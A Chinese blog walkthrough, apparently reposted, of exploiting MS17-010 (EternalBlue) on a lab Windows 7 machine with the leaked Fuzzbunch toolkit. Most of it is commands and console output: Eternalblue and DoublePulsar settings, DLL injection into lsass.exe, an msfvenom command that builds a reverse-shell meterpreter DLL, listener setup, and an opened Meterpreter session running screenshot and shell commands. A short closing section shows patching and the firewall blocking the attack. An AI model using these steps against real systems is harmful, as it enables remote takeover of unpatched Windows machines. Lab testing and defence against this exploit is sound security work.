方式程0day MS17-010远程溢出漏洞测试

最近那个WannaCry勒索病毒搞的沸沸扬扬,据了解该病毒利用了方程式泄露的0day MS17-010(永恒之蓝)进行传播。

据说这个漏洞是支持winxp-win2012,测试一下这个漏洞到底如何。

一、环境:

靶机:win7 IP:192.168.4.247
攻击机:win2003 IP:192.168.4.16
反弹shell: kali IP:192.168.4.15

在攻击机中需要python2.6环境和安装pywin32

python-2.6.6.msi
https://www.python.org/download/releases/2.6.6/

pywin32-221.win-amd64-py2.6.exe
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/

二、配置攻击机

先可以用nmap扫一下内网里开放445端口和操作系统信息
nmap -p 445 -O 192.168.4.0/24
---------------------------------------------------------------
下载工具之后解压,然后在工具里面的windows目录建一个listeningposts
打开cmd工具的windows目录,运行fb.py

--[ Version 3.5.1

[*] Loading Plugins
[*] Initializing Fuzzbunch v3.5.1
[*] Adding Global Variables
[+] Set ResourcesDir => D:\DSZOPSDISK\Resources
[+] Set Color => True
[+] Set ShowHiddenParameters => False
[+] Set NetworkTimeout => 60
[+] Set LogDir => D:\logs
[*] Autorun ON


ImplantConfig Autorun List
==========================

  0) prompt confirm
  1) execute

Exploit Autorun List
====================

  0) apply
  1) touch all
  2) prompt confirm
  3) execute

Special Autorun List
====================

  0) apply
  1) touch all
  2) prompt confirm
  3) execute

Payload Autorun List
====================

  0) apply
  1) prompt confirm
  2) execute

[+] Set FbStorage => E:\shadowbroker-master\shadowbroker-master\windows\storage

[*] Retargetting Session

[?] Default Target IP Address [] : 192.168.4.247
[?] Default Callback IP Address [] : 192.168.4.16
[?] Use Redirection [yes] : no


[?] Base Log directory [D:\logs] : no
[*] Checking E:\shadowbroker-master\shadowbroker-master\windows\no for projects
Index     Project
-----     -------
0         test
1         test2
2         test3
3         test4
4         test5
5         Create a New Project


[?] Project [0] : 5
[?] New Project Name : test6
[?] Set target log directory to 'E:\shadowbroker-master\shadowbroker-master\wind
ows\no\test6\z192.168.4.247'? [Yes] :

[*] Initializing Global State
[+] Set TargetIp => 192.168.4.247
[+] Set CallbackIp => 192.168.4.16

[!] Redirection OFF
[+] Set LogDir => E:\shadowbroker-master\shadowbroker-master\windows\no\test6\z1
92.168.4.247
[+] Set Project => test6

fb >

--------------------------------------------
在这里我们使用Eternalblue(ms17-010 永恒之蓝)

fb > use Eternalblue

[!] Entering Plugin Context :: Eternalblue
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.4.247


[*] Applying Session Parameters
[*] Running Exploit Touches

[!] Enter Prompt Mode :: Eternalblue

Module: Eternalblue
===================

Name                  Value
----                  -----
NetworkTimeout        60
TargetIp              192.168.4.247
TargetPort            445
VerifyTarget          True
VerifyBackdoor        True
MaxExploitAttempts    3
GroomAllocations      12
Target                WIN72K8R2


[!] plugin variables are valid
[?] Prompt For Variable Settings? [Yes] :

[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds). Use -1 f
or no timeout.

[?] NetworkTimeout [60] :

[*]  TargetIp :: Target IP Address

[?] TargetIp [192.168.4.247] :

[*]  TargetPort :: Port used by the SMB service for exploit connection

[?] TargetPort [445] :

[*]  VerifyTarget :: Validate the SMB string from target against the target sele
cted before exploitation.

[?] VerifyTarget [True] :

[*]  VerifyBackdoor :: Validate the presence of the DOUBLE PULSAR backdoor befor
e throwing. This option must be enabled for multiple exploit attempts.

[?] VerifyBackdoor [True] :

[*]  MaxExploitAttempts :: Number of times to attempt the exploit and groom. Dis
abled for XP/2K3.

[?] MaxExploitAttempts [3] :

[*]  GroomAllocations :: Number of large SMBv2 buffers (Vista+) or SessionSetup
allocations (XK/2K3) to do.

[?] GroomAllocations [12] :

[*]  Target :: Operating System, Service Pack, and Architecture of target OS

    0) XP            Windows XP 32-Bit All Service Packs
   *1) WIN72K8R2     Windows 7 and 2008 R2 32-Bit and 64-Bit All Service Packs

[?] Target [1] : 1

[!] Preparing to Execute Eternalblue

[*]  Mode :: Delivery mechanism

   *0) DANE     Forward deployment via DARINGNEOPHYTE
    1) FB       Traditional deployment from within FUZZBUNCH

[?] Mode [0] : 1
[+] Run Mode: FB

[?] This will execute locally like traditional Fuzzbunch plugins. Are you sure?
(y/n) [Yes] :
[*] Redirection OFF

[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.4.247] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.4.247:445

[+] Configure Plugin Remote Tunnels

Module: Eternalblue
===================

Name                  Value
----                  -----
DaveProxyPort         0
NetworkTimeout        60
TargetIp              192.168.4.247
TargetPort            445
VerifyTarget          True
VerifyBackdoor        True
MaxExploitAttempts    3
GroomAllocations      12
ShellcodeBuffer
Target                WIN72K8R2

[?] Execute Plugin? [Yes] :

----------------------------------
回车就开始攻击

[*] Executing Plugin
[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor returned code: 10 - Success!
    [+] Ping returned Target architecture: x64 (64-bit)
    [+] Backdoor is already installed -- nothing to be done.
[*] CORE sent serialized output blob (2 bytes):
0x00000000  08 01                                            ..
[*] Received output parameters from CORE
[+] CORE terminated with status code 0x00000000
[+] Eternalblue Succeeded


fb Special (Eternalblue) >

----------------------------------
漏洞已经触发成功,接着我们配置让它加载dll反弹shell回kail

fb Special (Eternalblue) > use doublepulsar

[!] Entering Plugin Context :: Doublepulsar
[*] Applying Global Variables
[+] Set NetworkTimeout => 60
[+] Set TargetIp => 192.168.4.247


[*] Applying Session Parameters


[!] Enter Prompt Mode :: Doublepulsar


Module: Doublepulsar
====================


Name              Value
----              -----
NetworkTimeout    60
TargetIp          192.168.4.247
TargetPort        445
OutputFile
Protocol          SMB
Architecture      x86
Function          OutputInstall


[!] Plugin Variables are NOT Valid
[?] Prompt For Variable Settings? [Yes] :


[*]  NetworkTimeout :: Timeout for blocking network calls (in seconds).  Use -1
for no timeout.


[?] NetworkTimeout [60] :


[*]  TargetIp :: Target IP Address


[?] TargetIp [192.168.4.247] :


[*]  TargetPort :: Port used by the Double Pulsar back door


[?] TargetPort [445] :


[*]  Protocol :: Protocol for the backdoor to speak


   *0) SMB     Ring 0 SMB (TCP 445) backdoor
    1) RDP     Ring 0 RDP (TCP 3389) backdoor


[?] Protocol [0] :


[*]  Architecture :: Architecture of the target OS


   *0) x86     x86 32-bits
    1) x64     x64 64-bits


[?] Architecture [0] : 1
[+] Set Architecture => x64


[*]  Function :: Operation for backdoor to perform


   *0) OutputInstall     Only output the install shellcode to a binary file on d
isk.
    1) Ping              Test for presence of backdoor
    2) RunDLL            Use an APC to inject a DLL into a user mode process.
    3) RunShellcode      Run raw shellcode
    4) Uninstall         Remove's backdoor from system

[?] Function [0] : 2
[+] Set Function => RunDLL

[*]  DllPayload :: DLL to inject into user mode

[?] DllPayload [] : 

-------------------------------------
到这里需要配置一个反弹shell的dll, 去kali上生成dll放到C:\backdoor.dll, 配置监听端。

三、配置反弹shell

在kali上生成dll, 放到攻击机win2003的C:\backdoor.dll上。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.20.89.101 LPORT=5555 -f dll > backdoor.dll


打开msf控制台,配置监听端

 

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.4.15
lhost => 192.168.4.15
msf exploit(handler) > set lport 5555
lport => 5555
msf exploit(handler) > exploit 

---------------------------------

四、大功告成

到回到攻击机win2003上接着配置

 

[?] DllPayload [] : C:\\backdoor.dll
[-] Error: Invalid value for 'DllPayload' (C:\\backdoor.dll)


[*]  DllPayload :: DLL to inject into user mode


[?] DllPayload [] :


[*]  DllOrdinal :: The exported ordinal number of the DLL being injected to call


[?] DllOrdinal [1] :


[*]  ProcessName :: Name of process to inject into


[?] ProcessName [lsass.exe] :


[*]  ProcessCommandLine :: Command line of process to inject into


[?] ProcessCommandLine [] :


[!] Preparing to Execute Doublepulsar
[*] Redirection OFF


[+] Configure Plugin Local Tunnels
[+] Local Tunnel - local-tunnel-1
[?] Destination IP [192.168.4.247] :
[?] Destination Port [445] :
[+] (TCP) Local 192.168.4.247:445


[+] Configure Plugin Remote Tunnels


Module: Doublepulsar
====================


Name                  Value
----                  -----
NetworkTimeout        60
TargetIp              192.168.4.247
TargetPort            445
DllPayload            .
DllOrdinal            1
ProcessName           lsass.exe
ProcessCommandLine
Protocol              SMB
Architecture          x64
Function              RunDLL


[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[+] Selected Protocol SMB
[.] Connecting to target...
[+] Connected to target, pinging backdoor...
        [+] Backdoor returned code: 10 - Success!
        [+] Ping returned Target architecture: x64 (64-bit) - XOR Key: 0x3B05856
0
    SMB Connection string is: Windows 7 Ultimate 7601 Service Pack 1
    Target OS is: 7 x64
    Target SP is: 1
        [+] Backdoor installed
        [+] DLL built
        [.] Sending shellcode to inject DLL
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Backdoor returned code: 10 - Success!
        [+] Command completed successfully
[+] Doublepulsar Succeeded

到此大功告成,到Kali上看看,shell是不是返回了。

---------------------------------------------------

[*] Started reverse handler on 192.168.4.15:5555 
[*] Starting the payload handler...
[*] Sending stage (1105970 bytes) to 192.168.4.247
[*] Meterpreter session 1 opened (192.168.4.15:5555 -> 192.168.4.247:49289) at 2017-06-03 01:36:08 +0800


meterpreter > sysinfo
Computer        : HE-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : zh_CN
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/win64

-------------------------------------------------

meterpreter的功能很强大,可以help看一下

 

 

meterpreter > help

Core Commands
=============


    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    get_timeouts              Get the current session timeout values
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                   Migrate the server to another process
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                     Force Meterpreter to go quiet, then re-establish session.
    transport                 Change the current transport mechanism
    use                       Deprecated alias for 'load'
    uuid                      Get the UUID for the current session
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================
    Command       Description
    -------       -----------
    arp           Display the host ARP cache
    getproxy      Display the current proxy configuration
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
=======================
    Command       Description
    -------       -----------
    clearev       Clear the event log
    drop_token    Relinquishes any active impersonation token.
    execute       Execute a command
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getprivs      Attempt to enable all privileges available to the current process
    getsid        Get the SID of the user that the server is running as
    getuid        Get the user that the server is running as
    kill          Terminate a process
    ps            List running processes
    reboot        Reboots the remote computer
    reg           Modify and interact with the remote registry
    rev2self      Calls RevertToSelf() on the remote machine
    shell         Drop into a system command shell
    shutdown      Shuts down the remote computer
    steal_token   Attempts to steal an impersonation token from the target process
    suspend       Suspends or resumes a list of processes
    sysinfo       Gets information about the remote system, such as OS

Stdapi: User interface Commands
===============================
    Command        Description
    -------        -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop     Get the current meterpreter desktop
    idletime       Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start  Start capturing keystrokes
    keyscan_stop   Stop capturing keystrokes
    screenshot     Grab a screenshot of the interactive desktop
    setdesktop     Change the meterpreters current desktop
    uictl          Control some of the user interface components

Stdapi: Webcam Commands
=======================
    Command        Description
    -------        -----------
    record_mic     Record audio from the default microphone for X seconds
    webcam_chat    Start a video chat
    webcam_list    List webcams
    webcam_snap    Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam

--------------------------------------------------
执行screenshot截屏
meterpreter > screenshot 
Screenshot saved to: /root/eeEcyUfp.jpeg

执行shell就会得到cmd命令行
meterpreter > shell
Process 2880 created.
Channel 1 created.
Microsoft Windows [版本 6.1.7601]
版权所有 (c) 2009 Microsoft Corporation。保留所有权利。

C:\Windows\system32>net user
-------------------------------------------------------------------------------
Administrator            Guest                    testuser
命令成功完成。
--------------
输入exit退出windows的命令行,回到meterpreter

C:\Windows\system32>exit 
exit
meterpreter > 
-------------------------------------------------

 

五、防范ms17-010
最好的方法就是把补丁给打上,就搞不了。以下是在有补丁的机器上测试的效果:

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Connecting to target for exploitation.
    [+] Connection established for exploitation.
[*] Pinging backdoor...
    [+] Backdoor not installed, game on.
[*] Target OS selected valid for OS indicated by SMB reply
[*] CORE raw buffer dump (39 bytes):
0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service
0x00000020  50 61 63 6b 20 31 00                             Pack 1.
[*] Building exploit buffer
[*] Sending all but last fragment of exploit packet
    ................DONE.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Starting non-paged pool grooming
    [+] Sending SMBv2 buffers
        .............DONE.
    [+] Sending large SMBv1 buffer..DONE.
    [+] Sending final SMBv2 buffers......DONE.
    [+] Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] Sending SMB Echo request
[*] Good reply from SMB Echo request
[*] Sending last fragment of exploit packet!
    DONE.
[*] Receiving response from exploit packet
[-] No response received from exploit packet. Not good.
[+] CORE terminated with status code 0xdf5d0013
[-] Error getting output back from Core; aborting...
[!] Plugin failed
[-] Error: Eternalblue Failed

还有一个简单的方法就是把Windows自带的防火墙打开,这样445端口就不通了,漏洞也就没法搞了,以下是测试的效果:

[?] Execute Plugin? [Yes] :
[*] Executing Plugin
[*] Connecting to target for exploitation.
[-] Error connecting to target
[+] CORE terminated with status code 0xdf5d000b
[-] Error getting output back from Core; aborting...
[!] Plugin failed
[-] Error: Eternalblue Failed

原文地址:https://www.exchen.net/%E6%96%B9%E5%BC%8F%E7%A8%8B-0day-ms17-010-%E8%BF%9C%E7%A8%8B%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E6%B5%8B%E8%AF%95.html

 


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